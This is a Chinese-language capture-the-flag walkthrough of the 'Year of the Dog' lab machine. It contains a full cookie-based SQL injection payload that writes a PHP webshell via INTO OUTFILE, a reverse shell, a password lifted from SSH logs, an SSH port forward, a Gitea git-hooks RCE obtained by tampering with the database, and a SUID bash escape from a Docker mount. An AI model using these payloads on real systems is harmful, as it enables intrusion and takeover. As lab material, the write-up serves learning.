Skip to main content

Year of the Dog

端口扫描

root@ip-10-10-19-210:~/adana# nmap -sTCV -p- --min-rate 1000 10.10.61.223

Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-28 07:46 BST
Nmap scan report for ip-10-10-61-223.eu-west-1.compute.internal (10.10.61.223)
Host is up (0.00031s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e4:c9:dd:9b:db:95:9e:fd:19:a9:a6:0d:4c:43:9f:fa (RSA)
| 256 c3:fc:10:d8:78:47:7e:fb:89:cf:81:8b:6e:f1:0a:fd (ECDSA)
|_ 256 27:68:ff:ef:c0:68:e2:49:75:59:34:f2:bd:f0:c9:20 (EdDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Canis Queue
MAC Address: 02:BA:D6:FA:61:77 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

80

root@ip-10-10-19-210:~/adana# gobuster dir -u http://10.10.61.223 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php.txt.html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.61.223
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php.txt.html
[+] Timeout: 10s
===============================================================
2023/10/28 08:04:04 Starting gobuster
===============================================================
/assets (Status: 301)
/server-status (Status: 403)
===============================================================
2023/10/28 08:04:54 Finished
===============================================================

在进行扫描之后并没有发现可以利用的地方, 接着查看网页的显示我发现在我每次请求之后网站对应的 ID 不同, 所以我猜测这是根据 Cookie 来作为判断的, 那么也就会和合同的数据库产生交互经过一系列操作之后, 我确定了利用方式, 利用此来写入一个 WebShell

id=177a504b90098b948a5b3769d7984b8f' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY 0x3C3F706870206563686F20223C7072653E22202E207368656C6C5F6578656328245F4745545B22636D64225D29202E20223C2F7072653E223B3F3E-- -

之后访问我们上传的 WebShell 我们就可以实现命令注入了

image-20240709202208535

后渗透

www-data

利用之前上传的 WebShell 来获取一个反向 Shell

image-20240709202222055

www-data —> dylan

之后观察 dylan 用户的家目录发现有一个 work_analysis 文件, 经过查看发现其内容为关于 SSH 的日志信息, 之后我们从中分析出了用户 dylan 的密码

(remote) www-data@year-of-the-dog:/home/dylan$ cat work_analysis 
Sep 5 20:52:34 staging-server sshd[39184]: Received disconnect from 192.168.1.142 port 45582:11: Bye Bye [preauth]
Sep 5 20:52:34 staging-server sshd[39184]: Disconnected from authenticating user root 192.168.1.142 port 45582 [preauth]
Sep 5 20:52:35 staging-server sshd[39190]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39191]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39194]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
(remote) www-data@year-of-the-dog:/home/dylan$ cat work_analysis | grep dylan
Sep 5 20:52:57 staging-server sshd[39218]: Invalid user dylanLabr4d0rs4L1f3 from 192.168.1.142 port 45624
Sep 5 20:53:03 staging-server sshd[39218]: Failed password for invalid user dylanLabr4d0rs4L1f3 from 192.168.1.142 port 45624 ssh2
Sep 5 20:53:04 staging-server sshd[39218]: Connection closed by invalid user dylanLabr4d0rs4L1f3 192.168.1.142 port 45624 [preauth]

dylan —> git(docker)

  1. 在系统目录中我发现 /gitea 目录这其中的内容告诉我系统中存在一个 gitea 服务
  2. 查看进程发现 root 用户启动了一个 docker 环境对应的端口为 3000, 恰好对应 3000 端口就是 gitea 服务
  3. /gitea/gitea 下存在一个 gitea.db 经过判断这就是 gitea 的数据库,我将其下载到本地查看发现其中存在一个用户但是可惜密码无法解密
  4. 综上我们可以判断攻击思路为 : 端口转发 —> 访问 gitea —> 获取管理员账号或者一些其他信息

执行端口转发, 之后从本地访问我们的服务

(remote) dylan@year-of-the-dog:/home/dylan$  ssh -R 4444:127.0.0.1:3000 [email protected]

从页面中我们知道对应的 gitea 版本为 1.13.0 恰好存在一个对应的 RCE 漏洞可以利用 CVE-2020-14144-GiTea-git-hooks-rce

image-20240709202245709

前提是需要管理员账号, 但是我们没有管理员的账号, 在之前我发现对于 gitea.db daylan 用户具有 rw 权限, 所以我们创建一个用户并修改其数据库对应的字段完成管理员账号添加 (无法修改 dylan 用户密码实现因为会有校验)

image-20240709202253558

修改完成后上传 gitea.db 并覆盖原本的文件实现管理员账号的添加, 之后我们只需要按照上面 github 的操作进行执行即可唯一不同的是对于远程推送并不需要进行操作, 我们只需要在 gitea 修改文件并上传即可

root@ip-10-10-138-152:~/yearofthedog# nc -nvlp 4445
Listening on [0.0.0.0] (family 0, port 4445)
id
Connection from 10.10.170.22 47472 received!
bash: cannot set terminal process group (17): Not a tty
bash: no job control in this shell
bash-5.0$ id
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)

git(docker) —> root(docker)

我发现 git 用户具有 SUDO 特权可以很快的获取到 Shell

image-20240709202302183

root(docker) —> root

  1. 之前我们修改本地的 gitea.db 并实现了对 gitea 平台的登陆, 所以对应的目录肯定和 docker 是挂载的

我发现 /app 目录和 /gitea 目录相同, 所以可以分析出这就是挂载目录, 所以我们只需要简单操作一下即可

#  靶机端
(remote) dylan@year-of-the-dog:/gitea/gitea$ cp /bin/bash .

# docker
chown root:root bash
chmod u+s bash

之后我们可以发现靶机的 bash 也被赋予了 SUID 特权

image-20240709202313270